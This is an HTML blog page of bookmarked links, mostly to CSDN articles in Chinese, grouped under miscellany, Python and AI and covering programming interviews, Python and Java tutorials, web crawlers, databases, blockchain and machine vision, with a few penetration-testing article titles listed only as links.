<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="杂货"><a href="#杂货" class="headerlink" title="杂货"></a>杂货</h2><p><a href="https://blog.csdn.net/m0_37907797/article/details/103347579">https://blog.csdn.net/m0_37907797/article/details/103347579</a><br>腾讯面试题:一条 sql 语句执行的很慢的原因有哪些?<br><a href="https://blog.csdn.net/csdnnews/article/details/103193692?utm_source=wx_miya">https://blog.csdn.net/csdnnews/article/details/103193692?utm_source=wx_miya</a><br>致 Python 初学者们!<br><a href="https://blog.csdn.net/m0_37907797/article/details/103188294">https://blog.csdn.net/m0_37907797/article/details/103188294</a><br>进程之间究竟有哪些通信方式?如何通信? —- 告别死记硬背<br><a href="https://blog.csdn.net/kebi007/article/details/102927209">https://blog.csdn.net/kebi007/article/details/102927209</a><br>面试官:你连RESTful都不知道我怎么敢要你?<br><a href="https://blog.csdn.net/hanguofei/article/details/102987057">https://blog.csdn.net/hanguofei/article/details/102987057</a><br>python面试基础知识(一)<br><a href="https://blog.csdn.net/m0_37907797/article/details/103267435">https://blog.csdn.net/m0_37907797/article/details/103267435</a><br>记一次手撕算法面试:字节跳动的面试官把我四连击了<br><a href="https://blog.csdn.net/m0_37609579/article/details/103108301">https://blog.csdn.net/m0_37609579/article/details/103108301</a><br>程序员把地府后台管理系统做出来了,还有3.0版本!12月7号最新消息:已在开发中有github地址<br><a href="https://blog.csdn.net/qq_42813491/article/details/103117799">https://blog.csdn.net/qq_42813491/article/details/103117799</a><br>nginx基础教程<br><a href="https://blog.csdn.net/qing_gee/article/details/103231927">https://blog.csdn.net/qing_gee/article/details/103231927</a><br>程序员一般通过什么途径接私活?<br><a href="https://blog.csdn.net/m0_37907797/article/details/102767860">https://blog.csdn.net/m0_37907797/article/details/102767860</a><br>为什么你学不会递归?告别递归,谈谈我的经验<br><a href="https://blog.csdn.net/lantian_123/article/details/103172069">https://blog.csdn.net/lantian_123/article/details/103172069</a><br>10行代码写个”狗屁不通”文章生成器<br><a href="https://blog.csdn.net/qq_38613453/article/details/103077016">https://blog.csdn.net/qq_38613453/article/details/103077016</a><br>推荐几款比较实用的工具和网站<br><a href="https://blog.csdn.net/kebi007/article/details/103059900">https://blog.csdn.net/kebi007/article/details/103059900</a><br>程序员:我终于知道post和get的区别<br><a href="https://blog.csdn.net/qq_44543508/article/details/102651841">https://blog.csdn.net/qq_44543508/article/details/102651841</a><br>小白如何学习java?<br><a href="https://blog.csdn.net/PY0312/article/details/101087356">https://blog.csdn.net/PY0312/article/details/101087356</a><br>爬虫福利二 之 妹子图网MM批量下载<br><a href="https://blog.csdn.net/chenjianandiyi/article/details/103766263">https://blog.csdn.net/chenjianandiyi/article/details/103766263</a><br>全网目前最全python例子(附源码)<br><a href="https://blog.csdn.net/ZuoYueLiang/article/details/103799951">https://blog.csdn.net/ZuoYueLiang/article/details/103799951</a><br>六年码农生涯的 2019 总结<br><a href="https://blog.csdn.net/weixin_44092679/article/details/103843096">https://blog.csdn.net/weixin_44092679/article/details/103843096</a><br>面试你能搞懂JVM了吗,快看看这20道JVM面试题(附答案)<br><a href="https://edu.csdn.net/course/detail/24756?utm_source=wx_miya">https://edu.csdn.net/course/detail/24756?utm_source=wx_miya</a><br>21天搞定分布式Python网络爬虫<br><a href="https://edu.csdn.net/bundled/detail/77?utm_source=wx_miya">https://edu.csdn.net/bundled/detail/77?utm_source=wx_miya</a><br>推荐系统核心精讲<br><a href="https://blog.csdn.net/tototuzuoquan/article/details/78164731">https://blog.csdn.net/tototuzuoquan/article/details/78164731</a><br>爬虫技术<br><a href="https://blog.csdn.net/knight_a/article/details/88958861">https://blog.csdn.net/knight_a/article/details/88958861</a><br>java爬虫<br><a href="https://blog.csdn.net/Yu_Wei_123/article/details/69525247">https://blog.csdn.net/Yu_Wei_123/article/details/69525247</a><br>C#爬虫<br><a href="https://blog.csdn.net/j13sj13s/article/details/52059701">https://blog.csdn.net/j13sj13s/article/details/52059701</a><br>爬虫系统简介<br><a href="https://blog.csdn.net/qq_41637554/article/details/80548242">https://blog.csdn.net/qq_41637554/article/details/80548242</a><br>爬虫(一)网络爬虫/相关工具与知识<br><a href="https://blog.csdn.net/zm_21/article/details/28230781">https://blog.csdn.net/zm_21/article/details/28230781</a><br>selenium java自动化测试<br><a href="https://edu.csdn.net/bundled/detail/100?utm_source=wx_miya">https://edu.csdn.net/bundled/detail/100?utm_source=wx_miya</a><br>Python自动化测试之Selenium3实战<br><a href="https://blog.csdn.net/wanglong12341/article/details/80814442">https://blog.csdn.net/wanglong12341/article/details/80814442</a><br>Selenium Java Web 自动化实践总结<br> <br> <br>教你用 python 制作一张五彩斑斓的黑<br><a href="https://blog.csdn.net/phenhorlin2/article/details/103510254">https://blog.csdn.net/phenhorlin2/article/details/103510254</a><br>专为程序员设计的数学课<br><a href="https://edu.csdn.net/combo/detail/1473?utm_source=wx_ganhuo">https://edu.csdn.net/combo/detail/1473?utm_source=wx_ganhuo</a><br>python自动刷新12306抢票<br><a href="https://blog.csdn.net/qq_34158880/article/details/103602447">https://blog.csdn.net/qq_34158880/article/details/103602447</a><br>Python3:matplotlib的基本demo(折线图,直方图,柱状图,饼图,散点图)<br><a href="https://blog.csdn.net/weixin_45492007/article/details/103653071">https://blog.csdn.net/weixin_45492007/article/details/103653071</a><br>使用python写的一个小系统<br><a href="https://blog.csdn.net/weixin_43713498/article/details/103643726">https://blog.csdn.net/weixin_43713498/article/details/103643726</a><br>Python实现手机号自动判断男女性别<br><a href="https://blog.csdn.net/qq_15687823/article/details/103645268">https://blog.csdn.net/qq_15687823/article/details/103645268</a><br>python爬虫爬取“美团美食”汕头地区的所有店铺信息<br><a href="https://blog.csdn.net/qq_40511157/article/details/103641937">https://blog.csdn.net/qq_40511157/article/details/103641937</a><br>21天搞定分布式Python网络爬虫<br><a href="https://edu.csdn.net/course/detail/24756?utm_source=wx_ganhuo">https://edu.csdn.net/course/detail/24756?utm_source=wx_ganhuo</a><br>Python纯技术————数据写入Excel<br><a href="https://blog.csdn.net/qq_35619526/article/details/103620236">https://blog.csdn.net/qq_35619526/article/details/103620236</a><br>如何用 Python 实现超级玛丽的界面和状态机?<br><a href="https://blog.csdn.net/csdnnews/article/details/103659155">https://blog.csdn.net/csdnnews/article/details/103659155</a><br>为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?<br><a href="https://blog.csdn.net/m0_37609579/article/details/102961765">https://blog.csdn.net/m0_37609579/article/details/102961765</a><br>腾讯物联网操作系统正式开源,最小体积仅1.8 KB<br><a href="https://blog.csdn.net/Tencent_TEG/article/details/101043331">https://blog.csdn.net/Tencent_TEG/article/details/101043331</a><br>B站收藏 6.1w+!GitHub 标星 3.9k+!这门神课拯救了我薄弱的计算机基础<br><a href="https://blog.csdn.net/u013486414/article/details/103457523">https://blog.csdn.net/u013486414/article/details/103457523</a><br>人工智能经典算法及项目实战<br><a href="https://edu.csdn.net/huiyiCourse/detail/1114?utm_source=wx_ganhuo">https://edu.csdn.net/huiyiCourse/detail/1114?utm_source=wx_ganhuo</a><br>时至今日,NLP怎么还这么难!<br><a href="https://blog.csdn.net/dQCFKyQDXYm3F8rB0/article/details/103676080">https://blog.csdn.net/dQCFKyQDXYm3F8rB0/article/details/103676080</a><br>张钹:人工智能技术已进入第三代<br><a href="https://blog.csdn.net/r6Auo52bK/article/details/101088166">https://blog.csdn.net/r6Auo52bK/article/details/101088166</a><br>Python自动化测试之Selenium3实战<br><a href="https://edu.csdn.net/bundled/detail/100?utm_source=wx_ganhuo">https://edu.csdn.net/bundled/detail/100?utm_source=wx_ganhuo</a><br>送给单身猿们的表白神器<br><a href="https://blog.csdn.net/weixin_44560813/article/details/102956248">https://blog.csdn.net/weixin_44560813/article/details/102956248</a><br>面试官如何考察你的思维方式?<br><a href="https://blog.csdn.net/yangzhongblog/article/details/103154699">https://blog.csdn.net/yangzhongblog/article/details/103154699</a><br>尝试混搭,告别格子衫,这个GAN帮你展示真人高清混搭效果<br><a href="https://blog.csdn.net/qq_28168421/article/details/101043503">https://blog.csdn.net/qq_28168421/article/details/101043503</a><br>Java子类和父类的初始化执行顺序<br><a href="https://blog.csdn.net/jiandabang/article/details/103649458">https://blog.csdn.net/jiandabang/article/details/103649458</a><br>小白都能看得懂的java虚拟机内存模型<br><a href="https://blog.csdn.net/qq_37141773/article/details/103138476">https://blog.csdn.net/qq_37141773/article/details/103138476</a><br>史上最详细的IDEA优雅整合Maven+SSM框架(详细思路+附带源码)<br><a href="https://blog.csdn.net/qq_44543508/article/details/100192558">https://blog.csdn.net/qq_44543508/article/details/100192558</a><br>6张拓扑图揭秘中心化交易所的5种行为, 原来中心化比你想象的重要!<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/101087959">https://blog.csdn.net/Blockchain_lemon/article/details/101087959</a><br>比特币原理详解<br><a href="https://blog.csdn.net/zcg_741454897/article/details/102796022">https://blog.csdn.net/zcg_741454897/article/details/102796022</a><br>6大思维模型, 揭秘硅谷高管如何做区块链应用决策<br><a href="https://blog.csdn.net/Blockchain_lemon/article/details/101043133">https://blog.csdn.net/Blockchain_lemon/article/details/101043133</a><br>MySQL数据库总结<br><a href="https://blog.csdn.net/weixin_43691058/article/details/103175678">https://blog.csdn.net/weixin_43691058/article/details/103175678</a><br>一次搞定各种数据库 SQL 执行计划<br><a href="https://blog.csdn.net/horses/article/details/103579177">https://blog.csdn.net/horses/article/details/103579177</a><br>数据库优化 - SQL优化<br><a href="https://blog.csdn.net/jianzhang11/article/details/102867120">https://blog.csdn.net/jianzhang11/article/details/102867120</a><br>史上最全的mysql基础教程<br><a href="https://blog.csdn.net/weixin_45108087/article/details/102766281">https://blog.csdn.net/weixin_45108087/article/details/102766281</a><br>《吊打面试官》系列-Redis基础知识<br><a href="https://blog.csdn.net/qq_35190492/article/details/102841400">https://blog.csdn.net/qq_35190492/article/details/102841400</a><br>详述 Elasticsearch 通过范围条件查询索引数据的方法<br><a href="https://blog.csdn.net/qq_35246620/article/details/89040919">https://blog.csdn.net/qq_35246620/article/details/89040919</a><br>国内30以下名校正教授大盘点,年少有为,谁会是下一个颜宁?<br><a href="https://blog.csdn.net/qq_28168421/article/details/101088426">https://blog.csdn.net/qq_28168421/article/details/101088426</a><br>私藏的18黑科技网站,想找什么软件就找什么软件!!!<br><a href="https://blog.csdn.net/sinat_33921105/article/details/103307419">https://blog.csdn.net/sinat_33921105/article/details/103307419</a><br>防劝退!数据结构和算法难理解?可视化动画带你轻松透彻理解!<br><a href="https://blog.csdn.net/u013486414/article/details/103199260">https://blog.csdn.net/u013486414/article/details/103199260</a><br>机器学习:3个知乎大神回答、5个新人常见问题和3个学习规划:<a href="https://blog.csdn.net/j2IaYU7Y/article/details/79825304">https://blog.csdn.net/j2IaYU7Y/article/details/79825304</a><br>机器视觉专栏:<a href="https://blog.csdn.net/oHanTanYanYing/column/info/15631">https://blog.csdn.net/oHanTanYanYing/column/info/15631</a><br>机器视觉原理解析:<a href="https://blog.csdn.net/zc21463071/article/details/81231058">https://blog.csdn.net/zc21463071/article/details/81231058</a><br>机器视觉基础知识汇总:<a href="https://blog.csdn.net/leoaran/article/details/80914270">https://blog.csdn.net/leoaran/article/details/80914270</a><br>一个完整机器学习项目流程总结:<a href="https://blog.csdn.net/huangfei711/article/details/79850989">https://blog.csdn.net/huangfei711/article/details/79850989</a><br>Scratch编程入门教案:<a href="https://blog.csdn.net/weixin_40897235/article/details/89206058">https://blog.csdn.net/weixin_40897235/article/details/89206058</a><br>基于SLAM的机器人的自主定位导航:<a href="https://blog.csdn.net/weixin_37251044/article/details/78515909">https://blog.csdn.net/weixin_37251044/article/details/78515909</a><br>Python3入门经典100例 <a href="https://blog.csdn.net/weixin_41084236/article/details/81564963">https://blog.csdn.net/weixin_41084236/article/details/81564963</a><br>搭建 LEGO EV3 的 PyCharm Python 开发环境 <a href="https://blog.csdn.net/tq08g2z/article/details/83659827">https://blog.csdn.net/tq08g2z/article/details/83659827</a><br>Python函数参数定义 <a href="https://blog.csdn.net/u010852680/article/details/77848570">https://blog.csdn.net/u010852680/article/details/77848570</a><br>用Python给女友 准备个绝对甜蜜的七夕礼物 <a href="https://blog.csdn.net/cainiao_python/article/details/98697669">https://blog.csdn.net/cainiao_python/article/details/98697669</a><br>5天破10亿的哪吒,为啥这么火,Python来分析 <a href="https://blog.csdn.net/cainiao_python/article/details/98139777">https://blog.csdn.net/cainiao_python/article/details/98139777</a><br>用Python来预测双色球 <a href="https://blog.csdn.net/cainiao_python/article/details/97723335">https://blog.csdn.net/cainiao_python/article/details/97723335</a><br>Inception_V3原理及实现 <a href="https://blog.csdn.net/m0_37917271/article/details/82344711">https://blog.csdn.net/m0_37917271/article/details/82344711</a><br>用Python控制LEGO Wedo 2.0的电机 <a href="https://blog.csdn.net/tq08g2z/article/details/83659827">https://blog.csdn.net/tq08g2z/article/details/83659827</a><br>CSDN微课商城快速搭建–项目实战 <a href="https://edu.csdn.net/huiyiCourse/detail/1044">https://edu.csdn.net/huiyiCourse/detail/1044</a><br>利用python语言编程控制LEGO EV3 <a href="https://blog.csdn.net/qq_41106517/article/details/82975355">https://blog.csdn.net/qq_41106517/article/details/82975355</a><br>未来智能 Python最新学习路线图 <a href="https://blog.csdn.net/PLhma/article/details/89675887">https://blog.csdn.net/PLhma/article/details/89675887</a><br>自动化测试-分层设计思想 <a href="https://blog.csdn.net/hujyhfwfh2/article/details/81055948">https://blog.csdn.net/hujyhfwfh2/article/details/81055948</a><br>自动化测试如何做到分层 <a href="https://blog.csdn.net/zhusongziye/article/details/83903275">https://blog.csdn.net/zhusongziye/article/details/83903275</a><br>程序员易踩的 9 大坑! <a href="https://blog.csdn.net/csdnnews/article/details/100088724">https://blog.csdn.net/csdnnews/article/details/100088724</a><br>用Python实现一个小游戏 <a href="https://blog.csdn.net/linmo8256/article/details/79677678">https://blog.csdn.net/linmo8256/article/details/79677678</a><br>手把手教你用python写游戏 <a href="https://blog.csdn.net/u010665216/article/details/79086160">https://blog.csdn.net/u010665216/article/details/79086160</a><br>用python实现2048小游戏 <a href="https://blog.csdn.net/weixin_42668123/article/details/82381568">https://blog.csdn.net/weixin_42668123/article/details/82381568</a><br>Java工程师求职面试准备 <a href="https://blog.csdn.net/dyhdengyahui/article/details/79731335">https://blog.csdn.net/dyhdengyahui/article/details/79731335</a><br>Java面试笔试题大汇总(最全+详细答案) <a href="https://blog.csdn.net/weixin_37948564/article/details/80475243">https://blog.csdn.net/weixin_37948564/article/details/80475243</a><br>温故而知新,重温 Java 7 的那些“新”特性 <a href="https://blog.csdn.net/qing_gee/article/details/97623924">https://blog.csdn.net/qing_gee/article/details/97623924</a><br>查看JAVA API以及JAVA源码的方法 <a href="https://blog.csdn.net/Applying/article/details/80575616">https://blog.csdn.net/Applying/article/details/80575616</a><br>Java学习路线 <a href="https://blog.csdn.net/Just_learn_more/article/details/91394528">https://blog.csdn.net/Just_learn_more/article/details/91394528</a><br>【深入理解Java原理】 JVM 内存区域 <a href="https://blog.csdn.net/wangming520liwei/article/details/78686724">https://blog.csdn.net/wangming520liwei/article/details/78686724</a><br>阿里云Redis开发规范 <a href="https://blog.csdn.net/glx490676405/article/details/79580748">https://blog.csdn.net/glx490676405/article/details/79580748</a><br>数据结构与算法常见笔试题 <a href="https://blog.csdn.net/u010273362/article/details/77920891">https://blog.csdn.net/u010273362/article/details/77920891</a><br>关键路径详解 <a href="https://blog.csdn.net/qq_35644234/article/details/52664108">https://blog.csdn.net/qq_35644234/article/details/52664108</a><br>字符串一样,但是equals为false? <a href="https://blog.csdn.net/Baisitao_/article/details/92667122">https://blog.csdn.net/Baisitao_/article/details/92667122</a><br>Java十大常用框架介绍 <a href="https://blog.csdn.net/qinzzjs47/article/details/82292100">https://blog.csdn.net/qinzzjs47/article/details/82292100</a><br>JAVA学习必须掌握的框架,不看后悔 <a href="https://blog.csdn.net/jackyrongvip/article/details/82148922">https://blog.csdn.net/jackyrongvip/article/details/82148922</a><br>最棒的 JavaScript 学习指南 <a href="https://blog.csdn.net/ejinxian/article/details/79227762">https://blog.csdn.net/ejinxian/article/details/79227762</a><br>职业规划-IT方向 <a href="https://blog.csdn.net/weixin_44135121/article/details/93226590">https://blog.csdn.net/weixin_44135121/article/details/93226590</a><br>让应届生拿到阿里 Offer 的Java面试题 <a href="https://blog.csdn.net/CSDNedu/article/details/100098334">https://blog.csdn.net/CSDNedu/article/details/100098334</a><br>数据结构与算法常见笔试题 <a href="https://blog.csdn.net/u010273362/article/details/77920891">https://blog.csdn.net/u010273362/article/details/77920891</a><br>以太坊学习笔记 <a href="https://blog.csdn.net/LUCKWXF/article/details/94736214">https://blog.csdn.net/LUCKWXF/article/details/94736214</a><br>Python3入门经典100例 <a href="https://blog.csdn.net/weixin_41084236/article/details/81564963">https://blog.csdn.net/weixin_41084236/article/details/81564963</a><br>以太坊工作原理 <a href="https://blog.csdn.net/LUCKWXF/article/details/95061570">https://blog.csdn.net/LUCKWXF/article/details/95061570</a><br>关键路径详解 <a href="https://blog.csdn.net/qq_35644234/article/details/52664108">https://blog.csdn.net/qq_35644234/article/details/52664108</a><br>ROS入门教程(一):<a href="https://blog.csdn.net/q_z_r_s/article/details/83721261">https://blog.csdn.net/q_z_r_s/article/details/83721261</a><br>ROS学习之路的整理:<a href="https://blog.csdn.net/zhanshen112/article/details/82792467">https://blog.csdn.net/zhanshen112/article/details/82792467</a><br>ROS源码分析:<a href="https://blog.csdn.net/sukha/article/details/52454735">https://blog.csdn.net/sukha/article/details/52454735</a><br>阿里云RPA(机器人流程自动化)干货系列之七:编写第一个RPA应用(可视化模式):<a href="https://yq.aliyun.com/articles/696414">https://yq.aliyun.com/articles/696414</a><br>【RPA】机器人流程自动化(RPA)概念、原理与实践:<a href="https://blog.csdn.net/np4rHI455vg29y2/article/details/80035832">https://blog.csdn.net/np4rHI455vg29y2/article/details/80035832</a><br>Python函数参数定义 <a href="https://blog.csdn.net/u010852680/article/details/77848570">https://blog.csdn.net/u010852680/article/details/77848570</a><br>搭建以太坊私链 <a href="https://blog.csdn.net/zhimingshangyan/article/details/82703746">https://blog.csdn.net/zhimingshangyan/article/details/82703746</a><br>大数据学习路线图 <a href="https://blog.csdn.net/qq_38872310/article/details/79758426">https://blog.csdn.net/qq_38872310/article/details/79758426</a><br>Java面试笔试题大汇总(最全+详细答案) <a href="https://blog.csdn.net/weixin_37948564/article/details/80475243">https://blog.csdn.net/weixin_37948564/article/details/80475243</a><br>用Python给女友 准备个绝对甜蜜的七夕礼物 <a href="https://blog.csdn.net/cainiao_python/article/details/98697669">https://blog.csdn.net/cainiao_python/article/details/98697669</a><br>Centos7 本地安装以太坊 Remix-ide <a href="https://blog.csdn.net/LUCKWXF/article/details/95633329">https://blog.csdn.net/LUCKWXF/article/details/95633329</a><br>基于规则(AIML)的问答机器人 <a href="https://blog.csdn.net/qq_32284189/article/details/82107845">https://blog.csdn.net/qq_32284189/article/details/82107845</a><br>温故而知新,重温 Java 7 的那些“新”特性 <a href="https://blog.csdn.net/qing_gee/article/details/97623924">https://blog.csdn.net/qing_gee/article/details/97623924</a><br>SQL简述 <a href="https://blog.csdn.net/lfdfhl/article/details/96707875">https://blog.csdn.net/lfdfhl/article/details/96707875</a><br>白话讲排序系列 <a href="https://blog.csdn.net/u013384984/article/details/79496052">https://blog.csdn.net/u013384984/article/details/79496052</a><br>5天破10亿的哪吒,为啥这么火,Python来分析 <a href="https://blog.csdn.net/cainiao_python/article/details/98139777">https://blog.csdn.net/cainiao_python/article/details/98139777</a><br>盘点11个常用的区块链开发工具 <a href="https://blog.csdn.net/Blockchain_lemon/article/details/98553602">https://blog.csdn.net/Blockchain_lemon/article/details/98553602</a><br>数据库的基本操作 <a href="https://blog.csdn.net/lfdfhl/article/details/96709013">https://blog.csdn.net/lfdfhl/article/details/96709013</a><br>查看JAVA API以及JAVA源码的方法 <a href="https://blog.csdn.net/Applying/article/details/80575616">https://blog.csdn.net/Applying/article/details/80575616</a><br>用Python来预测双色球 <a href="https://blog.csdn.net/cainiao_python/article/details/97723335">https://blog.csdn.net/cainiao_python/article/details/97723335</a><br>基于检索的聊天机器人的实现 <a href="https://blog.csdn.net/Irving_zhang/article/details/78788929">https://blog.csdn.net/Irving_zhang/article/details/78788929</a><br>数据类型详解 <a href="https://blog.csdn.net/lfdfhl/article/details/96711983">https://blog.csdn.net/lfdfhl/article/details/96711983</a><br>区块链100问 <a href="https://blog.csdn.net/zgf605506394/article/details/97621396">https://blog.csdn.net/zgf605506394/article/details/97621396</a><br>Android Gradle 必备实用技巧:<a href="https://gitchat.csdn.net/activity/589fc870b38f84e02fa64883?utm_source=soAndroid">https://gitchat.csdn.net/activity/589fc870b38f84e02fa64883?utm_source=soAndroid</a><br>面试技术点:<a href="https://blog.csdn.net/duoduo_11011/article/details/81143325">https://blog.csdn.net/duoduo_11011/article/details/81143325</a><br>机器学习/数据处理领域结果的评估度量:<a href="https://blog.csdn.net/lyxleft/article/details/84579319">https://blog.csdn.net/lyxleft/article/details/84579319</a><br>整理的最全 python常见面试题(基本必考):<a href="https://blog.csdn.net/t8116189520/article/details/80165589">https://blog.csdn.net/t8116189520/article/details/80165589</a></p><h2 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h2><p> <br>Python3入门经典100例<br><a href="https://blog.csdn.net/weixin_41084236/article/details/81564963">https://blog.csdn.net/weixin_41084236/article/details/81564963</a><br>搭建 LEGO EV3 的 PyCharm Python 开发环境<br><a href="https://blog.csdn.net/tq08g2z/article/details/83659827">https://blog.csdn.net/tq08g2z/article/details/83659827</a><br>Python函数参数定义<br><a href="https://blog.csdn.net/u010852680/article/details/77848570">https://blog.csdn.net/u010852680/article/details/77848570</a><br>用Python给女友 准备个绝对甜蜜的七夕礼物<br><a href="https://blog.csdn.net/cainiao_python/article/details/98697669">https://blog.csdn.net/cainiao_python/article/details/98697669</a><br>5天破10亿的哪吒,为啥这么火,Python来分析<br><a href="https://blog.csdn.net/cainiao_python/article/details/98139777">https://blog.csdn.net/cainiao_python/article/details/98139777</a><br>用Python来预测双色球<br><a href="https://blog.csdn.net/cainiao_python/article/details/97723335">https://blog.csdn.net/cainiao_python/article/details/97723335</a><br>Inception_V3原理及实现<br><a href="https://blog.csdn.net/m0_37917271/article/details/82344711">https://blog.csdn.net/m0_37917271/article/details/82344711</a><br>用Python控制LEGO Wedo 2.0的电机<br><a href="https://blog.csdn.net/tq08g2z/article/details/83659827">https://blog.csdn.net/tq08g2z/article/details/83659827</a><br>CSDN微课商城快速搭建–项目实战<br><a href="https://edu.csdn.net/huiyiCourse/detail/1044">https://edu.csdn.net/huiyiCourse/detail/1044</a><br>利用python语言编程控制LEGO EV3<br><a href="https://blog.csdn.net/qq_41106517/article/details/82975355">https://blog.csdn.net/qq_41106517/article/details/82975355</a><br>未来智能 Python最新学习路线图<br><a href="https://blog.csdn.net/PLhma/article/details/89675887">https://blog.csdn.net/PLhma/article/details/89675887</a><br>自动化测试-分层设计思想<br><a href="https://blog.csdn.net/hujyhfwfh2/article/details/81055948">https://blog.csdn.net/hujyhfwfh2/article/details/81055948</a><br>自动化测试如何做到分层<br><a href="https://blog.csdn.net/zhusongziye/article/details/83903275">https://blog.csdn.net/zhusongziye/article/details/83903275</a><br>程序员易踩的 9 大坑!<br><a href="https://blog.csdn.net/csdnnews/article/details/100088724">https://blog.csdn.net/csdnnews/article/details/100088724</a><br>用Python实现一个小游戏<br><a href="https://blog.csdn.net/linmo8256/article/details/79677678">https://blog.csdn.net/linmo8256/article/details/79677678</a><br>手把手教你用python写游戏<br><a href="https://blog.csdn.net/u010665216/article/details/79086160">https://blog.csdn.net/u010665216/article/details/79086160</a><br>用python实现2048小游戏<br><a href="https://blog.csdn.net/weixin_42668123/article/details/82381568">https://blog.csdn.net/weixin_42668123/article/details/82381568</a><br>8分钟完成NodeJs爬虫<br><a href="https://blog.csdn.net/lizhipeng123321/article/details/79804041">https://blog.csdn.net/lizhipeng123321/article/details/79804041</a><br>Python截图文字识别工具<br><a href="https://blog.csdn.net/qq_42992919/article/details/98059597">https://blog.csdn.net/qq_42992919/article/details/98059597</a><br>我用 Python 爬了淘宝内衣店的数据<br><a href="https://blog.csdn.net/qq_28168421/article/details/97993640">https://blog.csdn.net/qq_28168421/article/details/97993640</a><br>Python网络爬虫基础篇<br><a href="https://edu.csdn.net/course/detail/8662">https://edu.csdn.net/course/detail/8662</a><br>Java 从零开始学爬虫<br><a href="https://blog.csdn.net/qq_33601179/article/details/80458668">https://blog.csdn.net/qq_33601179/article/details/80458668</a> </p><h2 id="AI"><a href="#AI" class="headerlink" title="AI"></a>AI</h2><p>Android使用JNI生成.so文件并调用:<a href="https://blog.csdn.net/dream_caoyun/article/details/79495103">https://blog.csdn.net/dream_caoyun/article/details/79495103</a><br>利用百度AI开放平台进行本地图片通用文字识别:<a href="https://blog.csdn.net/qq_40197828/article/details/82812978">https://blog.csdn.net/qq_40197828/article/details/82812978</a><br>这可能是最简单易懂的机器学习入门(小白必读):<a href="https://blog.csdn.net/qq_28168421/article/details/81351321">https://blog.csdn.net/qq_28168421/article/details/81351321</a><br>多分类学习的拆分策略:<a href="https://blog.csdn.net/u012679707/article/details/80527994">https://blog.csdn.net/u012679707/article/details/80527994</a><br>机器学习概括:什么是机器学习,机器学习分类和基本用途:<a href="https://blog.csdn.net/u011626960/article/details/79349659">https://blog.csdn.net/u011626960/article/details/79349659</a><br>机器学习:3个知乎大神回答、5个新人常见问题和3个学习规划:<a href="https://blog.csdn.net/j2IaYU7Y/article/details/79825304">https://blog.csdn.net/j2IaYU7Y/article/details/79825304</a><br>机器视觉专栏:<a href="https://blog.csdn.net/oHanTanYanYing/column/info/15631">https://blog.csdn.net/oHanTanYanYing/column/info/15631</a><br>机器视觉原理解析:<a href="https://blog.csdn.net/zc21463071/article/details/81231058">https://blog.csdn.net/zc21463071/article/details/81231058</a><br>机器视觉基础知识汇总:<a href="https://blog.csdn.net/leoaran/article/details/80914270">https://blog.csdn.net/leoaran/article/details/80914270</a><br>那些精贵的「机器视觉」学习资料总结:<a href="https://blog.csdn.net/Yong_Qi2015/article/details/80154773">https://blog.csdn.net/Yong_Qi2015/article/details/80154773</a><br>表情识别LDTP算法:<a href="https://blog.csdn.net/z349177893/article/details/86600254">https://blog.csdn.net/z349177893/article/details/86600254</a><br>机器学习之——简单表情识别:<a href="https://blog.csdn.net/yxdd1gbk/article/details/79788967">https://blog.csdn.net/yxdd1gbk/article/details/79788967</a><br>50个“杀手级”AI项目 !(附链接):<a href="https://blog.csdn.net/tmb8z9vdm66wh68vx1/article/details/79372988">https://blog.csdn.net/tmb8z9vdm66wh68vx1/article/details/79372988</a><br>一个完整机器学习项目流程总结:<a href="https://blog.csdn.net/huangfei711/article/details/79850989">https://blog.csdn.net/huangfei711/article/details/79850989</a><br>Scratch编程入门教案:<a href="https://blog.csdn.net/weixin_40897235/article/details/89206058">https://blog.csdn.net/weixin_40897235/article/details/89206058</a><br>基于SLAM的机器人的自主定位导航:<a href="https://blog.csdn.net/weixin_37251044/article/details/78515909">https://blog.csdn.net/weixin_37251044/article/details/78515909</a><br>python之常用算法:<a href="https://blog.csdn.net/u012114090/article/details/81516189">https://blog.csdn.net/u012114090/article/details/81516189</a><br>open cv+C++错误及经验总结:<a href="https://blog.csdn.net/ningyaliuhebei/article/details/22385833">https://blog.csdn.net/ningyaliuhebei/article/details/22385833</a><br>本地费控与远程费控:<a href="https://blog.csdn.net/wuhenyouyuyouyu/article/details/77979112">https://blog.csdn.net/wuhenyouyuyouyu/article/details/77979112</a><br>20个顶级大数据软件应用程序:<a href="https://blog.csdn.net/qq_16633405/article/details/79718325">https://blog.csdn.net/qq_16633405/article/details/79718325</a><br>软件应用资源:<a href="https://download.csdn.net/download/mini_hs/10444585">https://download.csdn.net/download/mini_hs/10444585</a><br>推荐给运维人员的10个开源漏洞检测工具!:<a href="https://blog.csdn.net/Z1XpIYDj9sn/article/details/88548637">https://blog.csdn.net/Z1XpIYDj9sn/article/details/88548637</a><br>无线网络渗透测试(一)基础知识:<a href="https://blog.csdn.net/windy_hui/article/details/83016100">https://blog.csdn.net/windy_hui/article/details/83016100</a><br>网络渗透资料大全单——工具篇(上):<a href="https://blog.csdn.net/gardentop/article/details/80140117">https://blog.csdn.net/gardentop/article/details/80140117</a><br>Net基础全套视频教程:<a href="https://edu.csdn.net/course/detail/858">https://edu.csdn.net/course/detail/858</a><br>Duilib—基础框架:<a href="https://blog.csdn.net/linjingtu/article/details/89843183">https://blog.csdn.net/linjingtu/article/details/89843183</a><br>网络安全(知识点总结分类):<a href="https://blog.csdn.net/shakeyin1998/article/details/85544620">https://blog.csdn.net/shakeyin1998/article/details/85544620</a><br>网络安全学习指南:<a href="https://blog.csdn.net/qq_36402161/article/details/84035618">https://blog.csdn.net/qq_36402161/article/details/84035618</a><br>硬件电路设计入门奉献系列(一):<a href="https://blog.csdn.net/xiaohe511/article/details/59520514">https://blog.csdn.net/xiaohe511/article/details/59520514</a><br>蓝牙音频音质探讨:<a href="https://blog.csdn.net/dear5240/article/details/80889083">https://blog.csdn.net/dear5240/article/details/80889083</a><br>linux系统基本知识整理:<a href="https://blog.csdn.net/u011285477/article/details/90600501">https://blog.csdn.net/u011285477/article/details/90600501</a><br>python实现的NoSql数据库系列-高级数据库操作:<a href="https://blog.csdn.net/qq_25055269/article/details/82731053">https://blog.csdn.net/qq_25055269/article/details/82731053</a><br>最纯粹的直播技术实战01-FFmpeg的编译与运行:<a 